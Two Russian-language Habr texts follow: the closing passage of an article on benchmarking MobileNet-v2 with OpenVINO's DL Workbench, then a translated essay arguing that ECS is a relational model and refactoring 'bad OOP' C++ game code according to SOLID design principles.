Приветственное окно DL WorkBenchМожно загрузить свою модель для оптимизации или скачать любую доступную модель из Open Model Zoo — репозитория моделей, в котором более 200 моделей из различных областей компьютерного зрения и не только. Для манипуляций в этом примере используется модель MobileNet-v2, потому что она имеет хорошее соотношение «качество работы / вес модели». Можно было бы для экспериментов взять модель ResNet-50, которая за 5 лет оккупировала все бенчмарки глубоких моделей, но MobileNet-v2 - более свежая и интересная модель.
После загрузки модели она будет сконвертирована из формата оригинального фреймворка в промежуточное представление (Intermediate representation, IR) — модель сохранится в два файла с расширениями .xml и .bin. Кроме этого, можно выбрать точность конвертации из вариантов FP32 или FP16. Как показывает практика, модель в формате FP16 работает с аналогичным качеством, что и FP32, но при этом она в 2 раза меньше и некоторые устройства работают с FP16 моделями намного быстрее. Это уже можно считать первой оптимизацией.
Импортируем модель из Open Model Zoo и конвертируем в IRВ то время, когда модель конвертировалась в IR формат, уже были применены некоторые структурные оптимизации по слиянию слоев. Например, для моделей ResNet, которые часто являются основой для трансфер лернинг и, таким образом, задействованы в большом количестве моделей из самых разных областей, производится операция слияния слоев (Linear operation Fusing), что уже дает хорошее ускорение по инференсу моделей по сравнению с фреймворками для обучения моделей. На рисунке ниже можно посмотреть, как OpenVINO оптимизирует структурный блок модели ResNet-50. Вместо 12 слоев в оригинальном фреймворке 8 в оптимизированном представлении, картинка со [страницы Model Optimizer](https://docs.openvinotoolkit.org/latest/openvino_docs_MO_DG_prepare_model_Model_Optimization_Techniques.html).
Более подробно про оптимизации модели во время конвертации можно прочитать на [странице Model Optimizer](https://docs.openvinotoolkit.org/latest/openvino_docs_MO_DG_prepare_model_Model_Optimization_Techniques.html). Там описано какие еще применяются оптимизации слоев внутри модели при конвертации.
С внутренними оптимизациями модели пока все, возвращаемся к DL Workbench и смотрим на оптимизации не самой модели, а ее инференса. Для этого нужно загрузить датасет или сгенерировать фейковый набор данных из шума, чтобы запускать тесты производительности. Во второй части статьи мы рассмотрим, как загрузить реальный датасет, когда он нам понадобится для квантизации моделей.
Генерируем датасет из шума для бенчмаркингаПосле того, как мы выбрали и конвертировали модель, выбрали устройство для тестирования, подготовили датасет и нажали кнопку Create, можно запустить первый прогон с параметрами по умолчанию. В качестве основной метрики производительности используется среднее количество обработанных изображений (или других объектов) в секунду - FPS (Frames per Second).
Первые результаты производительности MobileNet-v2 на i5-10600Во всех фреймворках поддерживается увеличение производительности за счет увеличения размера пачки. Размер пачки подбирается в зависимости от количества ядер экспериментально. В DL Workbench мы можем выполнить эксперименты по подбору оптимального размера пачки. Как правило, размер пачки в несколько раз превышает число физических ядер при инференсе на CPU, в нашем случае на графике ниже будет видно, что оптимальным значением является 8 картинок в пачке, при дальнейшем увеличении производительность уменьшается. По сравнению с **326** fps при размере пачки 1, **410** fps при размере пачки 8 составляют увеличение производительности на 25%, уже неплохо.
График производительности с различными размерами пачки *Можно вечно смотреть на три вещи - как горит огонь, как течет вода, и как тестится производительность сетки.*
Прием с увеличением размера пачки одновременно обрабатываемых изображений универсален и может использоваться почти со всеми моделями. Но есть ситуации, в которых этот прием не подходит - например, обработка видеопотока в автономном устройстве. Если у нас есть робот с камерой в 30 или 60 FPS, то мы не можем увеличивать задержку в получении результатов обработки - эти данные быстро становятся неактуальными. Возможные оптимизации инференса для таких случаев мы рассмотрим во второй части. | https://habr.com/ru/post/549634/ | null | ru | null |
# ООП мертво, да здравствует ООП
Источники вдохновения
=====================
Этот пост возник благодаря недавней публикации [Араса Пранцкевичуса](https://twitter.com/aras_p) о докладе, предназначенном для программистов-джуниоров. В нём рассказывается о том, как адаптироваться к новым ECS-архитектурам. Арас следует привычной схеме (*объяснения ниже*): показывает примеры ужасного ООП-кода, а затем демонстрирует, что отличным альтернативным решением является реляционная модель (*но называет её «ECS», а не реляционной*). Я ни в коем случае не критикую Араса — я большой фанат его работ и хвалю его за отличную презентацию! Я выбрал именно его презентацию вместо сотен других постов про ECS из Интернета потому, что он приложил дополнительные усилия и опубликовал git-репозиторий для изучения параллельно с презентацией. В нём содержится небольшая простая «игра», используемая в качестве примера выбора разных архитектурных решений. Этот небольшой проект позволил мне на конкретном материале продемонстрировать свои замечания, так что спасибо, Арас!
Слайды Араса выложены здесь: [http://aras-p.info/texts/files/2018Academy — ECS-DoD.pdf](http://aras-p.info/texts/files/2018Academy%20-%20ECS-DoD.pdf), а код находится на github: <https://github.com/aras-p/dod-playground>.
Я не буду (пока?) анализировать получившуюся ECS-архитектуру из этого доклада, но сосредоточусь на коде «плохого ООП» (похожего на уловку «чучело») из его начала. Я покажу, как бы он выглядел на самом деле, если бы правильно исправили все нарушения принципов OOD (object-oriented design, объектно-ориентированного проектирования).
**Спойлер: устранение всех нарушений OOD приводит к улучшениям производительности, аналогичным преобразованиям Араса в ECS, к тому же использует меньше ОЗУ и требует меньше строк кода, чем ECS-версия!**
*TL;DR: Прежде чем прийти к выводу, что ООП отстой, а ECS рулит, сделайте паузу и изучите OOD (чтобы знать, как правильно использовать ООП), а также разберитесь в реляционной модели (чтобы знать, как правильно применять ECS).*
Я уже долгое время принимаю участие во множестве дискуссий про ECS на форуме, частично потому, что не думаю, что эта модель заслуживает существовать в качестве отдельного термина (*спойлер: это просто ad-hoc-версия [реляционной модели](https://en.wikipedia.org/wiki/Relational_model)*), но ещё и потому, что почти *каждый* пост, презентация или статья, рекламирующие паттерн ECS, повторяют следующую структуру:
1. Показать пример ужасного ООП-кода, реализация которого имеет ужасные изъяны из-за излишнего использования наследования (а значит, эта реализация нарушает многие принципы OOD).
2. Показать, что композиция — это лучшее решение, чем наследование (и не упоминать о том, что OOD на самом деле даёт нам тот же урок).
3. Показать, что реляционная модель отлично подходит для игр (но назвать её «ECS»).
Такая структура бесит меня, потому что: **(A)** это уловка «чучело»… сравнивается мягкое с тёплым (плохой код и хороший код)… и это нечестно, даже если сделано ненамеренно и не требуется для демонстрации того, что новая архитектура хороша; и, что более важно: **(B)** это имеет побочный эффект — такой подход подавляет знания и непреднамеренно демотивирует читателей от знакомства с исследованиями, проводившимися в течение полувека. О реляционной модели впервые начали писать в 1960-х. На протяжении 70-х и 80-х эта модель значительно улучшалась. У новичков часто возникают вопросы типа "*в какой класс нужно поместить эти данные?*", и в ответ им часто говорят нечто расплывчатое, наподобие "*вам просто нужно набраться опыта и тогда вы просто научитесь понимать нутром*"… но в 70-х этот вопрос активно изучался и на него в общем случае был выведен формальный ответ; это называется [нормализацией баз данных](https://en.wikipedia.org/wiki/Database_normalization#Normal_forms). Отбрасывая уже имеющиеся исследования и называя ECS совершенно новым и современным решением, вы скрываете это знание от новичков.
Основы объектно-ориентированного программирования были заложены столь же давно, если не раньше (*этот стиль начал исследоваться в работе 1950-х годов*)! Однако именно в 1990-х годах объектно-ориентированность стала модной, виральной и очень быстро превратилась в доминирующую парадигму программирования. Произошёл взрыв популярности многих новых ОО-языков, в том числе Java и (*стандартизированной версии*) C++. Однако так как это было связано с ажиотажем, то всем *нужно было* знать это громкое понятие, чтобы записать в своё резюме, но лишь немногие по-настоящему в него углублялись. Эти новые языки создали из многих особенностей ОО ключевые слова — *class*, *virtual*, *extends*, *implements* — и я считаю, что именно поэтому в тот момент ОО разделилась на две отдельные сущности, живущие собственными жизнями.
Я буду называть применение этих вдохновлённых ОО языковых особенностей "**[ООП](https://en.wikipedia.org/wiki/Object-oriented_programming)**", а применение вдохновлённых ОО техник создания дизайна/архитектур "**[OOD](https://en.wikipedia.org/wiki/Object-oriented_design)**". Все очень быстро подхватили ООП. В учебных заведениях есть курсы ОО, выпекающие новых ООП-программистов… однако знание OOD плетётся позади.
Я считаю, что код, использующий языковые особенности ООП, но не следующий принципам проектирования OOD, **не является ОО-кодом**. В большинстве критических отзывов, направленных против ООП, используется для примера выпотрошенный код, на самом деле не являющийся ОО-кодом.
ООП-код имеет очень плохую репутацию, и в частности потому, что бОльшая часть ООП-кода не следует принципам OOD, а потому не является «истинным» ОО-кодом.
Предпосылки
===========
Как сказано выше, 1990-е стали пиком «моды на ОО», и именно в то время «плохой ООП», вероятно, был хуже всего. Если вы изучали ООП в то время, то, скорее всего, узнали о «четырёх столпах ООП»:
* Абстрагирование
* Инкапсуляция
* Полиморфизм
* Наследование
Я предпочитаю называть их не четырьмя столпами, а «четырьмя инструментами ООП». Это инструменты, которые ***можно*** использовать для решения задач. Однако недостаточно просто узнать, как работает инструмент, необходимо знать, когда ***нужно*** его использовать… Со стороны преподавателей безответственно обучать людей новому инструменту, не говоря им, когда каждый из них стоит применять. В начале 2000-х оказывалось сопротивление активному неверному использованию этих инструментов, своего рода «вторая волна» OOD-мышления. Результатом этого стало появление мнемоники [SOLID](https://en.wikipedia.org/wiki/SOLID), предоставлявшей быстрый способ оценки сильных сторон архитектуры. Надо заметить, что эта мудрость на самом деле была широко распространена в 90-х, но не получила ещё крутого акронима, позволившего закрепить их в качестве пяти базовых принципов…
* **[Принцип единственной ответственности](https://en.wikipedia.org/wiki/Single_responsibility_principle)** (**S**ingle responsibility principle). Каждый класс должен иметь только одну причину изменения. Если у класса «A» есть две обязанности, то нужно создать класс «B» и «C» для обработки каждой из них по отдельности, а затем создать «A» из «B» и «C».
* **[Принцип открытости/закрытости](https://en.wikipedia.org/wiki/Open/closed_principle)** (**O**pen/closed principle). ПО со временем изменяется (*т.е. важна его поддержка*). Стремитесь помещать части, которые скорее всего будут изменяться, в *реализации (implementations)* (*т.е. в конкретные классы*) и создавайте *интерфейсы (interfaces)* на основе тех частей, которые скорее всего не изменятся (*например, абстрактные базовые классы*).
* **[Принцип подстановки Барбары Лисков](https://en.wikipedia.org/wiki/Liskov_substitution_principle)** (**L**iskov substitution principle). Каждая реализация интерфейса должна на 100% соответствовать требованиям этого интерфейса, т.е. любой алгоритм, работающий с интерфейсом, должен работать с любой реализацией.
* **[Принцип разделения интерфейса](https://en.wikipedia.org/wiki/Interface_segregation_principle)** (**I**nterface segregation principle). Делайте интерфейсы как можно более малыми, чтобы каждая часть кода «знала» о наименьшем объёме кодовой базы, например, избегала ненужных зависимостей. Этот совет хорош и для C++, где время компиляции становится огромным, если ему не следовать.
* **[Принцип инверсии зависимостей](https://en.wikipedia.org/wiki/Dependency_inversion_principle)** (**D**ependency inversion principle). Вместо двух конкретных реализаций, обменивающихся данными напрямую (и зависящих друг от друга), их обычно можно разделить, формализовав их интерфейс связи в качестве третьего класса, используемого как интерфейс между ними. Это может быть абстрактный базовый класс, определяющий вызовы методов, используемых между ними, или даже просто структура [ПСД (POD)](https://en.wikipedia.org/wiki/Plain_old_data), определяющая передаваемые между ними данные.
* Ещё один принцип не включён в акроним SOLID, но я уверен, что он очень важен: **[«Предпочитать композицию наследованию»](https://en.wikipedia.org/wiki/Composition_over_inheritance)** (Composite reuse principle). Композиция *это правильный выбор по умолчанию*. Наследование стоит оставить для случаев, когда она абсолютно необходима.
Так мы получаем SOLID-C(++) 
Ниже я буду ссылаться на эти принципы, называя их по акронимам — SRP, OCP, LSP, ISP, DIP, CRP…
Ещё несколько замечаний:
* В OOD понятия *интерфейсов* и *реализаций* не возможно привязать к каким-то конкретным ключевым словам ООП. В C++ мы часто создаём интерфейсы с *абстрактными базовыми классами* и *виртуальными функциями*, а затем *реализации* наследуют от этих базовых классов… но это только один конкретный способ воплощения принципа интерфейса. В C++ мы также можем использовать [PIMPL](https://en.cppreference.com/w/cpp/language/pimpl), [непрозрачные указатели](https://en.wikipedia.org/wiki/Opaque_pointer), [утиную типизацию](https://en.wikipedia.org/wiki/Duck_typing), typedef и т.д… Можно создать OOD-структуру, а затем реализовать её на C, в котором вообще нет ключевых слов ООП-языка! Поэтому когда я говорю об *интерфейсах*, я необязательно имею в виду *виртуальные* функции — я говорю о принципе [сокрытия реализации](https://en.wikipedia.org/wiki/Information_hiding). Интерфейсы *могут* быть [полиморфными](https://en.wikipedia.org/wiki/Polymorphism_(computer_science)), но чаще всего такими не являются! Полиморфизм правильно используется очень редко, но интерфейсы — фундаментальное понятие для всего ПО.
+ Как я дал понять выше, если вы создаёте POD-структуру, которая просто хранит какие-то данные для передачи от одного класса другому, тогда эта структура используется как *интерфейс* — это формальное [описание данных](https://en.wikipedia.org/wiki/Data_definition_language).
+ Даже если вы просто создаёте один отдельный класс с *общей* и *частной* частями, то всё что находится в общей части, является *интерфейсом*, а всё в частной части — *реализацией*.
* Наследование на самом деле имеет (по крайней мере) два типа — наследование интерфейсов и наследование реализаций.
+ В C++ наследование интерфейсов включает в себя абстрактные базовые классы с чисто виртуальными функциями, PIMPL, условными typedef. В Java наследование интерфейсов выражается через ключевое слово *implements*.
+ В C++ наследование реализаций происходит каждый раз, когда базовые классы содержат что-то, кроме чисто виртуальных функций. В Java наследование реализаций выражается с помощью ключевого слова *extends*.
+ В OOD есть много правил наследования интерфейсов, но наследование реализаций обычно стоит рассматривать как [«код с душком»](https://en.wikipedia.org/wiki/Code_smell)!
И, наконец, мне стоит показать несколько примеров ужасного обучения ООП и того, как оно приводит к плохому коду в реальной жизни (и плохой репутации OOP).
1. Когда вас учили иерархиям/наследованию, то, возможно, давали подобную задачу: ***Допустим, у вас есть приложение университета, в которой содержится каталог студентов и персонала. Можно создать базовый класс Person, а затем класс Student и класс Staff, наследуемые от Person.***
Нет-нет-нет. Здесь я вас остановлю. Негласный подтекст принципа LSP гласит, что *иерархии классов* и *алгоритмы, которые их обрабатывают*, являются симбиотическими. Это две половины целой программы. ООП — это расширение процедурного программирования, и оно по-прежнему в основном связано с этими процедурами. Если мы не знаем, какие типы алгоритмов будут работать с *Students* и *Staff* (*и какие алгоритмы будут упрощены благодаря полиморфизму*), то будет полностью безответственно приступать к созданию структуры иерархий классов. Сначала вам нужно узнать алгоритмы *и* данные.
2. Когда вас обучали иерархиям/наследованию, то, вероятно, давали подобную задачу: ***Допустим, у вас есть класс фигур. Также у нас есть в качестве подклассов квадраты и прямоугольники. Квадрат должен быть прямоугольником, или прямоугольник квадратом?***
На самом деле, это хороший пример для демонстрациии разницы между наследованием реализаций и наследованием интерфейсов.
* Если вы используете подход с наследованием реализаций, то совершенно не учитываете LSP и думаете с практической точки зрения о возможности многократного использования кода, пользуясь наследованием как инструментом.
С этой точки зрения совершенно логично следующее:
```
struct Square { int width; }; struct Rectangle : Square { int height; };
```
У квадрата есть только ширина, а у прямоугольника есть ширина + высота, то есть расширив квадрат компонентом высоты, мы получим прямоугольник!
+ Как вы могли догадаться, OOD гласит, что делать так (*вероятно*) неправильно. Я сказал *«вероятно»*, потому что здесь можно поспорить о подразумеваемых характеристиках интерфейса… ну да ладно.
Квадрат всегда имеет одинаковые высоту и ширину, поэтому из интерфейса квадрата совершенно верно предположить, что площадь равна «ширина \* ширина».
Наследуясь от квадрата, класс прямоугольников (в соответствии с LSP) **должен** подчинятся правилам интерфейса квадрата. Любой алгоритм, правильно работающий для квадрата, должен также правильно работать и для прямоугольника.
+ Возьмём другой алгоритм:
```
std::vector shapes; int area = 0; for(auto s : shapes) area += s->width \* s->width;
```
Он корректно будет работать для квадратов (вычисляя сумму их площадей), но не сработает для прямоугольников.
Следовательно, прямоугольник нарушает принцип LSP.
* Если вы используете подход с наследованием интерфейсов, то ни Square, ни Rectangle не будут наследоваться друг от друга. Интерфейсы для квадрата и прямоугольника на самом деле отличаются, и один не является надмножеством другого.
* Поэтому OOD препятствует использованию наследования реализаций. Как сказано выше, если вы хотите многократно использовать код, то OOD говорит, что правильным выбором является композиция!
+ Так что *правильная* версия приведённого выше (плохого) кода иерархии наследования реализаций на C++ выглядит так:
```
struct Shape { virtual int area() const = 0; };
struct Square : public virtual Shape { virtual int area() const { return width * width; }; int width; };
struct Rectangle : private Square, public virtual Shape { virtual int area() const { return width * height; }; int height; };
```
- «public virtual» в Java означает «implements». Используется при реализации интерфейса.
- «private» позволяет расширить базовый класс, не наследуя при этом его интерфейс — в этом случае прямоугольник **не является** квадратом, хотя и наследуется от него.
+ Я не рекомендую писать подобный код, но если вам хочется использовать наследование реализаций, то это нужно делать именно так!
TL;DR — ваш ООП-класс говорил вам, каким было наследование. Ваш отсутствующий OOD-класс должен был сказать вам не использовать его 99% времени!
Концепции «сущность/компонент» (Entity / Component)
===================================================
Разобравшись с предпосылками, давайте перейдём к тому, с чего начинал Арас — к так называемой начальной точке «типичного ООП».
Но для начала ещё одно дополнение — Арас называет этот код «традиционным ООП», и на это я хочу возразить. Этот код может быть типичным для ООП в реальном мире, но, как и приведённых выше примерах, он нарушает всевозможные базовые принципы ОО, поэтому его вообще не стоит рассматривать, как традиционный.
Я начну с первого коммита, прежде чем он начал переделывать структуру в сторону ECS: [«Make it work on Windows again» 3529f232510c95f53112bbfff87df6bbc6aa1fae](https://github.com/aras-p/dod-playground/blob/3529f232510c95f53112bbfff87df6bbc6aa1fae/source/game.cpp)
```
// -------------------------------------------------------------------------------------------------
// super simple "component system"
class GameObject;
class Component;
typedef std::vector ComponentVector;
typedef std::vector GameObjectVector;
// Component base class. Knows about the parent game object, and has some virtual methods.
class Component
{
public:
Component() : m\_GameObject(nullptr) {}
virtual ~Component() {}
virtual void Start() {}
virtual void Update(double time, float deltaTime) {}
const GameObject& GetGameObject() const { return \*m\_GameObject; }
GameObject& GetGameObject() { return \*m\_GameObject; }
void SetGameObject(GameObject& go) { m\_GameObject = &go }
bool HasGameObject() const { return m\_GameObject != nullptr; }
private:
GameObject\* m\_GameObject;
};
// Game object class. Has an array of components.
class GameObject
{
public:
GameObject(const std::string&& name) : m\_Name(name) { }
~GameObject()
{
// game object owns the components; destroy them when deleting the game object
for (auto c : m\_Components) delete c;
}
// get a component of type T, or null if it does not exist on this game object
template
T\* GetComponent()
{
for (auto i : m\_Components)
{
T\* c = dynamic\_cast(i);
if (c != nullptr)
return c;
}
return nullptr;
}
// add a new component to this game object
void AddComponent(Component\* c)
{
assert(!c->HasGameObject());
c->SetGameObject(\*this);
m\_Components.emplace\_back(c);
}
void Start() { for (auto c : m\_Components) c->Start(); }
void Update(double time, float deltaTime) { for (auto c : m\_Components) c->Update(time, deltaTime); }
private:
std::string m\_Name;
ComponentVector m\_Components;
};
// The "scene": array of game objects.
static GameObjectVector s\_Objects;
// Finds all components of given type in the whole scene
template
static ComponentVector FindAllComponentsOfType()
{
ComponentVector res;
for (auto go : s\_Objects)
{
T\* c = go->GetComponent();
if (c != nullptr)
res.emplace\_back(c);
}
return res;
}
// Find one component of given type in the scene (returns first found one)
template
static T\* FindOfType()
{
for (auto go : s\_Objects)
{
T\* c = go->GetComponent();
if (c != nullptr)
return c;
}
return nullptr;
}
```
Да, в ста строках кода сложно разобраться сразу, поэтому давайте начнём постепенно… Нам нужен ещё один аспект предпосылок — в играх 90-х популярно было использовать наследование для решения всех проблем многократного использования кода. У вас была Entity, расширяемая Character, расширяемая Player и Monster, и так далее… Это наследование реализаций, как мы описывали его ранее (*«код с душком»*), и кажется, что правильно начинать с него, но в результате это приводит к очень негибкой кодовой базе. Потому что в OOD есть описанный выше принцип «composition over inheritance». Итак, в 2000-х стал популярным принцип «composition over inheritance», и разработчики игр начали писать подобный код.
Что делает этот код? Ну, ничего хорошего 
Если говорить вкратце, то **этот код заново реализует уже существующую особенность языка — композицию** как библиотеку времени выполнения, а не как особенность языка. Можно представить это так, как будто код на самом деле создаёт новый метаязык поверх C++ и виртуальную машину (VM) для выполнения этого метаязыка. В демо-игре Араса этот код не требуется (*скоро мы его полностью удалим!*) и служит только для того, чтобы примерно в 10 раз снизить производительность игры.
Однако что же он на самом деле выполняет? Это концепция "**E**ntity/**C**omponent" («сущность/компонент») (*иногда по непонятной причине называемая "**E**ntity/**C**omponent system"* («система сущность/компонент»)), но она полностью отличается от концепции "**E**ntity **C**omponent **S**ystem" («сущность-компонент-система») (*который по очевидным причинам никогда не называется "**E**ntity **C**omponent **S**ystem systems*). Он формализует несколько принципов «EC»:
* игра будет строиться из не имеющих особенностей «сущностей» («Entity») (*в этом примере называемых* GameObjects), которые состоят из «компонентов» («Component»).
* GameObjects реализуют [шаблон «локатор служб»](https://en.wikipedia.org/wiki/Service_locator_pattern) — их дочерние компоненты будут запрашиваться по типу.
* Компоненты знают, каким GameObject они принадлежат — они могут находить компоненты, находящиеся с ними на одном уровне, с помощью запросов к родительскому GameObject.
* Композиция может быть глубиной только в один уровень (*компоненты не могут иметь собственных дочерних компонентов, GameObjects не могут иметь дочерних GameObjects*).
* GameObject может иметь только один компонент каждого типа (*в некоторых фреймворках это обязательное требование, в других нет*).
* Каждый компонент (вероятно) со временем изменяется неким неуказанным образом, поэтому интерфейс содержит «virtual void Update».
* GameObjects принадлежат сцене, которая может выполнять запросы ко всем GameObjects (а значит и ко всем компонентам).
Подобная концепция была очень популярна в 2000-х годах, и несмотря на свою ограничительность, оказалась достаточно гибкой для создания бесчисленного количества игр и тогда, и сегодня.
Однако это не требуется. В вашем языке программирования уже есть поддержка композиции как особенность языка — для доступа к ней нет необходимости в раздутой концепции… Зачем же тогда существуют эти концепции? Ну, если быть честным, то они позволяют выполнять *динамическую композицию во время выполнения*. Вместо жёсткого задания типов GameObject в коде их можно загружать из файлов данных. И это очень удобно, потому что позволяет дизайнерам игр/уровней создавать свои типы объектов… Однако в большинстве игровых проектов бывает очень мало дизайнеров и в буквальном смысле целая армия программистов, поэтому я бы поспорил, что это важная возможность. Хуже того — это ведь не единственный способ, которым можно реализовать композицию во время выполнения! Например, Unity использует в качестве «языка скриптов» C#, и во многих других играх используются его альтернативы, например Lua — удобный для дизайнеров инструмент может генерировать код C#/Lua для задания новых игровых объектов без необходимости использования подобного раздутой концепции! Мы заново добавить эту «функцию» в следующем посте, и сделаем это так, чтобы он не стоил нам десятикратного снижения производительности…
Давайте оценим этот код в соответствии с OOD:
* GameObject::GetComponent использует dynamic\_cast. Большинство людей скажет вам, что dynamic\_cast — это «код с душком», большой намёк на то, что где-то у вас ошибка. Я бы сказал так — это свидетельство того, что вы нарушили [LSP](https://en.wikipedia.org/wiki/Liskov_substitution_principle) — у вас есть какой-то алгоритм, работающий с базовым интерфейсом, но ему требуется знать разные подробности реализации. По конкретно этой причине код и «дурно пахнет».
* GameObject в принципе неплох, если представить, что он реализует шаблон «локатор служб»… но если пойти дальше, чем критика с точки зрения OOD, то этот шаблон создаёт неявные связи между частями проекта, а я считаю (*без ссылки на Википедию, способной поддержать меня знаниями из computer science*), что неявные каналы связи — это [антипаттерн](https://en.wikipedia.org/wiki/Anti-pattern), и им следует предпочесть явные каналы связи. Тот же аргумент применим к раздутым «концепциям событий», которые иногда используются в играх…
* Я хочу заявить, что компонент — это нарушение [SRP](https://en.wikipedia.org/wiki/Single_responsibility_principle), потому что его интерфейс (*virtual void Update(time)*) слишком широкий. Использование «virtual void Update» в разработке игр распространено повсеместно, но я бы тоже сказал, что это антипаттерн. Хорошее ПО должно позволять вам легко размышлять о потоке управления и потоке данных. Размещение *каждого элемента кода геймплея* за вызовом «virtual void Update» полностью и совершенно обфусцирует поток управления и поток данных. IMHO, невидимые [побочные эффекты](https://en.wikipedia.org/wiki/Side_effect_(computer_science)), также называемые [дальнодействием](https://en.wikipedia.org/wiki/Action_at_a_distance_(computer_programming)) — одни из самых распространённых источников багов, а «virtual void Update» гарантирует, что почти всё будет являться невидимым побочным эффектом.
* Хотя цель класса Component — обеспечение возможности композиции, он выполняет её через наследование, что является нарушением [CRP](https://en.wikipedia.org/wiki/Composition_over_inheritance).
* Единственная хорошая сторона этого примера в том, что код игры лезет из кожи вон, лишь бы соблюсти принципы SRP и ISP — он разбит на множество простых компонентов с очень малыми обязанностями, что отлично подходит для многократного применения кода.
Однако он не так хорош в соблюдении DIP — многие компоненты имеют непосредственное знание друг о друге.
Итак, весь показанный выше код на самом деле можно удалить. Всю эту структуру. Удалить GameObject (в других фреймворках называемые также Entity), удалить Component, удалить FindOfType. Это часть бесполезной VM, нарушающая принципы OOD и ужасно замедляющая нашу игру.
Композиция без фреймворков (то есть использование особенностей самого языка программирования)
=============================================================================================
Если мы удалим фреймворк композиции, и у нас не будет базового класса Component, то как нашим GameObjects удастся использовать композицию и состоять из компонентов? Как сказано в заголовке, вместо написания этой раздутой VM и создания поверх неё GameObjects на странном метаязыке, давайте просто напишем их на C++, потому что мы программисты игр и это в буквальном смысле наша работа.
Вот коммит, в котором удалён фреймворк Entity/Component: <https://github.com/hodgman/dod-playground/commit/f42290d0217d700dea2ed002f2f3b1dc45e8c27c>
Вот первоначальная версия исходного кода: <https://github.com/hodgman/dod-playground/blob/3529f232510c95f53112bbfff87df6bbc6aa1fae/source/game.cpp>
Вот изменённая версия исходного кода: <https://github.com/hodgman/dod-playground/blob/f42290d0217d700dea2ed002f2f3b1dc45e8c27c/source/game.cpp>
Вкратце об изменениях:
* Удалили ": public Component" из каждого типа компонента.
* Добавили конструктор к каждому типу компонента.
+ OOD — это в первую очередь про инкапсуляцию состояния класса, но поскольку эти классы так малы/просты, скрывать особо нечего: интерфейс — это описание данных. Однако одна из главных причин того, что инкапсуляция является основным столпом, заключается в том, что она позволяет нам гарантировать постоянную истинность [инвариантов класса](https://en.wikipedia.org/wiki/Class_invariant)… или в случае, если инвариант нарушен, то вам достаточно исследовать инкапсулированный код реализации, чтобы найти ошибку. В этом примере кода стоит добавить конструкторы, чтобы воплотить простой инвариант — все значения должны быть инициализированы.
* Я переименовал слишком общие методы «Update», чтобы их названия отражали то, что делают на самом деле — UpdatePosition для MoveComponent и ResolveCollisions для AvoidComponent.
* Я удалил три жёстко заданных блока кода, напоминающие шаблон/префаб — код, который создаёт GameObject, содержащий конкретные типы Component, и заменил его тремя классами C++.
* Устранил антипаттерн «virtual void Update».
* Вместо того, чтобы компоненты искали друг друга через шаблон «локатор служб», игра явным образом связывает их вместе при конструировании.
Объекты
-------
Поэтому вместо этого кода «виртуальной машины»:
```
// create regular objects that move
for (auto i = 0; i < kObjectCount; ++i)
{
GameObject* go = new GameObject("object");
// position it within world bounds
PositionComponent* pos = new PositionComponent();
pos->x = RandomFloat(bounds->xMin, bounds->xMax);
pos->y = RandomFloat(bounds->yMin, bounds->yMax);
go->AddComponent(pos);
// setup a sprite for it (random sprite index from first 5), and initial white color
SpriteComponent* sprite = new SpriteComponent();
sprite->colorR = 1.0f;
sprite->colorG = 1.0f;
sprite->colorB = 1.0f;
sprite->spriteIndex = rand() % 5;
sprite->scale = 1.0f;
go->AddComponent(sprite);
// make it move
MoveComponent* move = new MoveComponent(0.5f, 0.7f);
go->AddComponent(move);
// make it avoid the bubble things
AvoidComponent* avoid = new AvoidComponent();
go->AddComponent(avoid);
s_Objects.emplace_back(go);
}
```
У нас теперь есть обычный код C++:
```
struct RegularObject
{
PositionComponent pos;
SpriteComponent sprite;
MoveComponent move;
AvoidComponent avoid;
RegularObject(const WorldBoundsComponent& bounds)
: move(0.5f, 0.7f)
// position it within world bounds
, pos(RandomFloat(bounds.xMin, bounds.xMax),
RandomFloat(bounds.yMin, bounds.yMax))
// setup a sprite for it (random sprite index from first 5), and initial white color
, sprite(1.0f,
1.0f,
1.0f,
rand() % 5,
1.0f)
{
}
};
...
// create regular objects that move
regularObject.reserve(kObjectCount);
for (auto i = 0; i < kObjectCount; ++i)
regularObject.emplace_back(bounds);
```
Алгоритмы
---------
Ещё одно серьёзное изменение внесено в алгоритмы. Помните, в начале я сказал, что интерфейсы и алгоритмы работают в симбиозе, и должны влиять на структуру друг друга? Так вот, антипаттерн "*virtual void Update*" стал врагом и здесь. Первоначальный код содержит алгоритм основного цикла, состоящий всего лишь из этого:
```
// go through all objects
for (auto go : s_Objects)
{
// Update all their components
go->Update(time, deltaTime);
```
Вы можете возразить, что это красиво и просто, но ИМХО это очень, очень плохо. Это полностью обфусцирует и *поток управления*, и *поток данных* внутри игры. Если мы хотим иметь возможность понимать своё ПО, если мы хотим поддерживать его, если мы хотим добавлять в него новые вещи, оптимизировать его, выполнять его эффективно на нескольких процессорных ядрах, то нам нужно понимать и поток управления, и поток данных. Поэтому «virtual void Update» нужно предать огню.
Вместо него мы создали более явный основной цикл, который сильно упрощает понимание потока управления (*поток данных в нём по-прежнему обфусцирован, но мы исправим это в следующих коммитах*).
```
// Update all positions
for (auto& go : s_game->regularObject)
{
UpdatePosition(deltaTime, go, s_game->bounds.wb);
}
for (auto& go : s_game->avoidThis)
{
UpdatePosition(deltaTime, go, s_game->bounds.wb);
}
// Resolve all collisions
for (auto& go : s_game->regularObject)
{
ResolveCollisions(deltaTime, go, s_game->avoidThis);
}
```
Недостаток такого стиля в том, что для *каждого нового типа объекта*, добавляемого в игру, нам придётся добавлять в основной цикл несколько строк. Я вернусь к этому в последующем посте из этой серии.
Производительность
==================
Здесь множество огромных нарушений OOD, сделано несколько плохих решений при выборе структуры и остаётся много возможностей для оптимизации, но я доберусь до них в следующем посте серии. Однако на уже на этом этапе понятно, что версия с «исправленным OOD» почти полностью соответствует или побеждает финальный «ECS»-код из конца презентации… И всё, что мы сделали — просто взяли плохой код псевдо-ООП, и заставили его соблюдать принципы ООП (а также удалил сто строк кода)!
Следующие шаги
==============
Здесь я хочу рассмотреть гораздо больший спектр вопросов, в том числе решение оставшихся проблем OOD, неизменяемые объекты ([программирование в функциональном стиле](https://en.wikipedia.org/wiki/Functional_programming)) и преимущества, которые они могут привнести в рассуждениях о потоках данных, передачу сообщений, применение логики DOD к нашему OOD-коду, применение относящейся к делу мудрости в OOD-коде, удаление этих классов «сущностей», которые в результате у нас получились, и использование только чистых компонентов, использование разных стилей соединения компонентов (сравнение указателей и обработчиков), контейнеры компонентов из реального мира, доработку ECS-версии для улучшения оптимизации, а также дальнейшую оптимизацию, не упомянутую в докладе Араса (*например многопоточность/SIMD*). Порядок не обязательно будет таким, и, возможно, я рассмотрю не всё перечисленное…
Дополнение
==========
